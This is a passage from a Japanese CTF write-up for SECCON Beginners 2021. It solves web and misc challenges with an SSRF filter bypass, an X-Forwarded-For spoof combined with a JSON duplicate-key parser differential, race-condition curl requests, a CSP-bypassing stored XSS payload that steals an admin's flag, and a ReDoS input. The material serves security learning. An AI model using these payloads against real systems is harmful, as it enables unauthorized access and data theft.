                $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
              }
              if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
                die("do not hack me!");
              }
              echo "URL: ".$url."<br>";
              $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000);
              curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
              echo "<iframe srcdoc='";
              curl_exec($ch);
              echo "' width='750' height='500'></iframe>";
              curl_close($ch);
            }
          ?>
<!-- HTML Template -->

curlでhttp(s)を叩けるサイトです。SSRFで自分(127.0.0.1)にリクエストできればフラグが得られるようですが、localhostは使えませんし.👻に変換されてしまうので127.0.0.1も通りません。

PayloadAllTheThingsペイロードを試してみても何故かBad Requestになって通りません。(恐らくapache側の問題でしょう)

SSRFのペイロードを調べているとWeb-CTF-Cheatsheethttp://0x7f000001/が通りました。

ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}

json [204 solved]

社内システムのサイトで、192.168.111.0/24からしかアクセスできないようになっています。サーバーはnginx->bff->apiという構成になっています。

nginxのdefault.confを見てみるとX-Forwarded-Forの文字が見えます。

server {
    listen       80;
    listen  [::]:80;
    server_name  localhost;

    location / {
        proxy_pass   http://bff:8080;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
        root   /usr/share/nginx/html;
    }

}

ためしにX-Forwarded-For: 192.168.111.1をヘッダに設定してアクセスするとバイパスできました。

bffの処理を見てみます。

package main

import (
    "bytes"
    "encoding/json"
    "io/ioutil"
    "net"
    "net/http"

    "github.com/gin-gonic/gin"
)

type Info struct {
    ID int `json:"id" binding:"required"`
}
...
func main() {
    r.POST("/", func(c *gin.Context) {
...
        // parse json
        var info Info
        if err := json.Unmarshal(body, &info); err != nil {
            c.JSON(400, gin.H{"error": "Invalid parameter."})
            return
        }

        // validation
        if info.ID < 0 || info.ID > 2 {
            c.JSON(400, gin.H{"error": "ID must be an integer between 0 and 2."})
            return
        }

        if info.ID == 2 {
            c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."})
            return
        }

        // get data from api server
        req, err := http.NewRequest("POST", "http://api:8000", bytes.NewReader(body))
        if err != nil {
            c.JSON(400, gin.H{"error": "Failed to request API."})
            return
        }
        req.Header.Set("Content-Type", "application/json")
        client := new(http.Client)
        resp, err := client.Do(req)
...
        result, err := ioutil.ReadAll(resp.Body)
...
        c.JSON(200, gin.H{"result": string(result)})
    })
...
}

JSONをPOSTされた場合、IDが0,1ならapiを叩いて結果を返し、IDが2なら拒否するような処理をしているようです。apiの方も見てみます。

package main

import (
    "io/ioutil"
    "os"

    "github.com/buger/jsonparser"
    "github.com/gin-gonic/gin"
)

func main() {
    r := gin.Default()

    r.POST("/", func(c *gin.Context) {
        body, err := ioutil.ReadAll(c.Request.Body)
        if err != nil {
            c.String(400, "Failed to read body")
            return
        }

        id, err := jsonparser.GetInt(body, "id")
        if err != nil {
            c.String(400, "Failed to parse json")
            return
        }

        if id == 0 {
            c.String(200, "The quick brown fox jumps over the lazy dog.")
            return
        }
        if id == 1 {
            c.String(200, "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.")
            return
        }
        if id == 2 {
            // Flag!!!
            flag := os.Getenv("FLAG")
            c.String(200, flag)
            return
        }

        c.String(400, "No data")
    })
...
}

{"id":2}にしてアクセスできればフラグが得られるようです。bffで弾かれないようなリクエストを考えましょう。

よく見ると、bffはencoding/jsonapigithub.com/buger/jsonparserを使っています。それにbffではinfo.IDapiではidを使っているので大文字小文字の違いでバイパスできないでしょうか。同じJSONIDidを入れてみます。

>>> req.post("https://json.quals.beginners.seccon.jp/", headers={"X-Forwarded-For": "192.168.111.1"}, json={"ID": 2, "id": 1}).text
'{"result":"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."}'

駄目でした。逆にしてみます。

>>> req.post("https://json.quals.beginners.seccon.jp/", headers={"X-Forwarded-For": "192.168.111.1"}, json={"id": 2, "ID": 1}).text
'{"result":"ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}"}'

フラグが得られました。他のWriteupを見ると大文字小文字じゃなくて、ライブラリがキーを前から見るか後ろから見るかの違いが問題だそうです。

ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}

cant_use_db[206 solved]

$10000のNoodlesを二つ、$20000のsoupを一つ買えばフラグが得られますが、持ち金は$20000しかありません。

ここでNoodlesを買うボタンを適当に連打していたら、$10000で4つ買えてしまいました。Race Conditionが起きていそうですね。ソースコードを調べたら確かに排他制御がされていません。

@app.route("/buy_noodles", methods=["POST"])
def buy_noodles():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    if balance >= 10000:
        noodles += 1
        open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles))
        time.sleep(random.uniform(-0.2, 0.2) + 1.0)
        balance -= 10000
        open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
        return "💸$10000"
    return "ERROR: INSUFFICIENT FUNDS"

このとき、noodlesを増やしてからbalanceを減らすまでの間に再度noodlesを買えば、お金が減って買えなくなるまでに限界を超えて購入することができます。/buy_soupも同じような処理だったので、一気にnoodlesを二つ、soupを一つ買うスクリプトを実行して、その後手動でフラグを見ることができました。

echo $1  # session cookie
curl -X POST --insecure -b "session=$1;" https://cant-use-db.quals.beginners.seccon.jp/buy_noodles & \
curl -X POST --insecure -b "session=$1;" https://cant-use-db.quals.beginners.seccon.jp/buy_noodles & \
curl -X POST --insecure -b "session=$1;" https://cant-use-db.quals.beginners.seccon.jp/buy_soup

ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}

magic [31 solved]

アカウント制のメモ帳サービスです。外部から自分のページを見れるリンクはありませんが、URL一つでログインできるマジックリンクの機能があります。また、管理者にリンクを報告できるページがあります。リンクを報告されたとき、管理者はこのように動きます。

// login admin's page
await page.goto(APP_URL + "login", {
  waitUntil: "networkidle2",
  timeout: 3000,
});
await page.type('input[name="username"]', USERNAME);
await page.type('input[name="password"]', PASSWORD);
await Promise.all([
  page.click('button[type="submit"]'),
  page.waitForNavigation({
    waitUntil: "networkidle2",
    timeout: 3000,
  }),
]);

// type FLAG in memo field
await page.type('input[name="text"]', FLAG);
await page.click("h1");

// Oh, a URL has arrived. Let's check it.
// (If you set `login` as path in Report page, admin accesses `https://magic.quals.beginners.seccon.jp/login` here.)
await page.goto(APP_URL + path, {
  waitUntil: "networkidle2",
  timeout: 3000,
});

管理者のページのメモの入力フィールドにフラグを入力した後に報告されたリンクに遷移しています。

また、ページで動いているindex.jsも見てみます。

if (localStorage.getItem("memo")) {
  document.getElementById("memoField").value = localStorage.getItem("memo");
}

document.getElementById("memoField").addEventListener("change", (event) => {
  localStorage.setItem("memo", document.getElementById("memoField").value);
});
...

メモの入力フィールドに入力した内容はlocalStorageに保存されています。

さて、調べるとメモ帳に単純なStored XSSがあることがわかります。管理者に自分のマジックリンクを踏ませてログインさせ、自分のページでXSSを発火させてlocalStorageからフラグを窃取すれば良さそうに思えます。

しかし、Content Security PolicyというXSSを制限させる機能が設定されています。

// CSP
app.use(function (req, res, next) {
  res.setHeader(
    "Content-Security-Policy",
    "style-src 'self' ; script-src 'self' ; object-src 'none' ; font-src 'none'"
  );
  next();
});

このCSPは、CSSJavascriptは現在のサイトと同じサイトからしか読み込めず<script></script>のようなインライン要素も許可せず、iframeなどの埋め込み要素は全て拒否し、フォントを外部から参照することも許可しないという意味です。つまり単純に<script>alert(1)</sctipt>と入れてもJSは実行されません。

さて、つまり何とかしてサイト内のJSコードを使ってXSSしなければなりません。DOM XSSが思いつきますが、そんな都合のいいコードはないです。

ここで、メモにJavascriptのコードを書いて、自分のページをJSとして解釈させればいいのでは?と思いつきました。しかし、HTMLをJSとして解釈させるのは無理があるので冒頭でエラーになります。何か他に内容を操作できるページはないでしょうか。

調べると、マジックリンクのエラーページが都合が良いことがわかります。

app.get("/magic", async (req, res, next) => {
  ...
    const result = await query(
      "SELECT id, name FROM user WHERE magic_token = ?",
      [token]
    );
    if (result.length !== 1) {
      return res.status(200).send(escapeHTML(token) + " is invalid token.");
    }
  ...
});
...
function escapeHTML(string) {
  return string
    .replace(/\&/g, "&amp;")
    .replace(/\</g, "&lt;")
    .replace(/\>/g, "&gt;")
    .replace(/\"/g, "&quot;")
    .replace(/\'/g, "&#x27");
}

例えば/magic?token=hogehogeを叩くとhogehoge is invalid tokenと表示されます。

これを使い、/magic?token=alert(1) //を叩いてalert(1) // is invalid tokenという文字列を生成します。これをJSのコードとして解釈させます。

メモ帳に<script src="/magic?token=alert(1) //"></script>を保存してみると、XSSが発火されalertが実行されました。

後はペイロードを作るだけ。しかし、escapeHTMLにより一部文字がエスケープされていますので文字列が作れません。このあたりはTextDecoderあたりでごまかしましょう。

ちょうどマジックリンクで自分のページにログインさせるので、自分のページにフラグを送信させます。

<script src="/static/index.js"></script><script src="/magic?token=document.getElementById(new TextDecoder().decode(new Uint8Array([115, 97, 118, 101, 77, 101, 109, 111]))).click(); //"></script>

を自分のページに保存し、管理者に自分のマジックリンクを報告するとフラグが自分のページに保存されます。

ctf4b{w0w_y0ur_skil1ful_3xploi7_c0de_1s_lik3_4_ma6ic_7rick}

misc

git-leak [410 solved]

.gitが入ったディレクトリが与えられます。git reflogでフラグに関係するcommitがないか追ってみます。

❯ git reflog
e0b545f (HEAD -> master) HEAD@{0}: commit (amend): feat: めもを追加
80f3044 HEAD@{1}: commit (amend): feat: めもを追加
b3bfb5c HEAD@{2}: rebase -i (finish): returning to refs/heads/master
b3bfb5c HEAD@{3}: commit (amend): feat: めもを追加
7387982 HEAD@{4}: rebase -i: fast-forward
36a4809 HEAD@{5}: rebase -i (start): checkout HEAD~2
7387982 HEAD@{6}: reset: moving to HEAD
7387982 HEAD@{7}: commit: feat: めもを追加
36a4809 HEAD@{8}: commit: feat: commit-treeの説明を追加
9ac9b0c HEAD@{9}: commit: change: 順番を変更
8fc078d HEAD@{10}: commit: feat: git cat-fileの説明を追加
d3b47fe HEAD@{11}: commit: feat: fsckを追記する
f66de64 HEAD@{12}: commit: feat: reflogの説明追加
d5aeffe HEAD@{13}: commit: feat: resetの説明を追加
a4f7fe9 HEAD@{14}: commit: feat: git logの説明を追加
9fcb006 HEAD@{15}: commit: feat: git commitの説明追加
6d21e22 HEAD@{16}: commit: feat: git addの説明を追加
656db59 HEAD@{17}: commit: feat: add README.md
c27f346 HEAD@{18}: commit (initial): initial commit

フラグという文字列が見えなかったのでとりあえずobjectを全列挙してみます。すると、フラグが得られました。

❯ cd .git/objects/
❯ find . -wholename "./*/*"| sed "s/\///g" | sed s/\\.//g | xargs -I{} git cat-file -p {} | grep ctf
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

Mail Address Validator [288 solved]

#!/usr/bin/env ruby
require 'timeout'

$stdout.sync = true
$stdin.sync = true

pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i

begin
  Timeout.timeout(60) {
    Process.wait Process.fork {
      puts "I check your mail address."
      puts "please puts your mail address."
      input = gets.chomp
      begin
        Timeout.timeout(5) {
          if input =~ pattern
            puts "Valid mail address!"
          else
            puts "Invalid mail address!"
          end
        }
      rescue Timeout::Error
        exit(status=14)
      end
    }
    
    case Process.last_status.to_i >> 8
    when 0 then
      puts "bye."
    when 1 then
      puts "bye."
    when 14 then
      File.open("flag.txt", "r") do |f|
        puts f.read
      end
    else
      puts "What's happen?"
    end
  } 
rescue Timeout::Error
  puts "bye."
end

/\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/iに合っているかを判定してくれて、タイムアウトしたらフラグが出力されます。(\.[a-z]+)*の部分で任意長の任意長の文字列のマッチングが起こってるのでそこでReDOSすればよいでしょう。

❯ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
aaa@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.com
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

depixelization [166 solved]

import cv2
import numpy as np

flag = "**********flag**********"

print("FLAG: " + flag)

images = np.full((100, 85, 3), (255,255,255), dtype=np.uint8)

for i in flag:

    # char2img
    img = np.full((100, 85, 3), (255,255,255), dtype=np.uint8)
    cv2.putText(img, i, (0, 80), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA)

    # pixelization
    cv2.putText(img, "P", (0, 90), cv2.FONT_HERSHEY_PLAIN, 7, (0, 0, 0), 5, cv2.LINE_AA)
    cv2.putText(img, "I", (0, 90), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA)
    cv2.putText(img, "X", (0, 90), cv2.FONT_HERSHEY_PLAIN, 9, (0, 0, 0), 5, cv2.LINE_AA)
    simg = cv2.resize(img, None, fx=0.1, fy=0.1, interpolation=cv2.INTER_NEAREST) # WTF :-o
    img = cv2.resize(simg, img.shape[:2][::-1], interpolation=cv2.INTER_NEAREST)

    # concat
    if images.all():
        images = img
    else:
        images = cv2.hconcat([images, img])

cv2.imwrite("output.png", images)

f:id:Satoooon1024:20210526112927p:plain
配布画像

flagの画像にP,I,Xを加算して、画質を下げた画像が与えられます。

文字ごとに処理が独立しているので、文字ごとにpixelizationした画像を用意しておいて、output.pngと一文字ずつ比較すればよいです。

import cv2
import numpy as np
import string

flag = string.printable

print("FLAG: " + flag)

for i in flag:

    # char2img
    img = np.full((100, 85, 3), (255,255,255), dtype=np.uint8)
    cv2.putText(img, i, (0, 80), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA)

    # pixelization
    cv2.putText(img, "P", (0, 90), cv2.FONT_HERSHEY_PLAIN, 7, (0, 0, 0), 5, cv2.LINE_AA)
    cv2.putText(img, "I", (0, 90), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA)
    cv2.putText(img, "X", (0, 90), cv2.FONT_HERSHEY_PLAIN, 9, (0, 0, 0), 5, cv2.LINE_AA)
    simg = cv2.resize(img, None, fx=0.1, fy=0.1, interpolation=cv2.INTER_NEAREST) # WTF :-o
    img = cv2.resize(simg, img.shape[:2][::-1], interpolation=cv2.INTER_NEAREST)
    cv2.imwrite(f"{ord(i)}.png", img)

で文字ごとの画像を用意して、

from PIL import Image
import numpy as np
import string
import cv2

flag_img = np.array(Image.open("output.png"))
chars = [np.array(Image.open(f"{ord(c)}.png")) for c in string.printable]

def trim(array, x, y, width, height):
    return array[y:y + height, x:x+width]

flag = ""
for i in range(31):
    flag_c = trim(flag_img, 85 * i, 0, 85, 100)
    for j, c in enumerate(chars):
        if np.array_equal(c, flag_c):
            flag += string.printable[j]
            print(flag)
            break

でフラグを求めます。

ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}

感想

私が初めて出た常設でないCTFが去年のCTF4bで、その時は確かpwn1問、crypto1問、web2問、rev2問、misc1問でした。

今回は難易度は昨年よりは易しいように感じましたが、pwn・web・rev全完、crypto4問、misc3問と好成績を残せたのでとても満足しています。